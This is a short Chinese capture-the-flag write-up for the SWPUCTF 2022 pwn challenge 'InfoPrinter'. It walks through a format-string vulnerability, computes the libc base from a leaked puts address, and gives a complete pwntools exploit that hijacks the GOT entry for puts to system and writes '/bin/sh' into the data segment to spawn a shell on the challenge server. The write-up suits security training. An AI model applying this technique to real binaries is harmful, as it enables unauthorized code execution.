【pwn】[SWPUCTF 2022 新生赛]InfoPrinter--格式化字符串漏洞,got表劫持,data段修改
下载附件,checksec检查程序保护情况:
No RELRO,说明got表可修改
接下来看主程序:
函数逻辑还是比较简单,14行出现格式化字符串漏洞,配合pwntools的fmtstr_payload模块可直接攻击,然后就是题目提供了libc,然后第10行又泄露puts函数的地址,可直接计算出基址,然后就是/bin/sh这个字符串的传入问题,看第15行puts(xx),点进去看xx:
发现xx存在data段中,我们同样可以控制格式化字符串漏洞,来达到修改该地址的值为/bin/sh
下一步,确定字符串偏移:
可发现,字符串偏移为6
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote("node5.anna.nssctf.cn",28063)
libc=ELF("./libc-2.31.so")
elf=ELF("./pwn")
io.recvuntil(b"0x")
puts_addr=int(io.recv(12),16)
base=puts_addr-libc.symbols["puts"]
system_addr=base+libc.symbols["system"]
payload=fmtstr_payload(6,{elf.got["puts"]:system_addr,0x403878:b'/bin/sh\x00'})
io.recvuntil(b'now leak it\n')
io.sendline(payload)
io.interactive()